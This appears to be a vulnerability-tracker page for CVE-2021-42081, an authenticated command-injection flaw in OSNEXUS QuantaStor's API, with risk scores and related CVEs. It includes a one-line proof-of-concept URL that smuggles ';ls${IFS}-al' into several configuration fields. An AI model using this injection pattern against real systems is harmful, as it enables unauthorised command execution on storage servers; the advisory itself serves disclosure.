CVE-2021-42081: critical vulnerability in OSNEXUS QuantaStor
Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355
Published · Updated
E-mail alert when it lands in KEV, gets a public PoC or its score goes up.
28Vexday Risk Score
No sign of exploitation. No public exploitation artifact known so far.
ssvc Trackcvss 9.1epss 1.2%
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.
POC
http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected products
OSNEXUS · QuantaStorRelated CVEs — OSNEXUS QuantaStor
In the same product, most dangerous first.
CVE-2026-18265CRITICALOSNEXUS QuantaStor Missing Authentication Remote Code Execution VulnerabilityEPSS 1.0%CVE-2021-4406CRITICALAuthenticated Remote COmmand Execution as root in OSNEXUS QuantaStor version 6.0.0.355 and othersEPSS 1.0%CVE-2021-42080HIGHReflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355EPSS 0.7%CVE-2021-42079MEDIUMSSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355EPSS 0.7%CVE-2021-42083HIGHAuthenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335EPSS 0.5%CVE-2021-42082HIGHLocal Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355EPSS 0.2%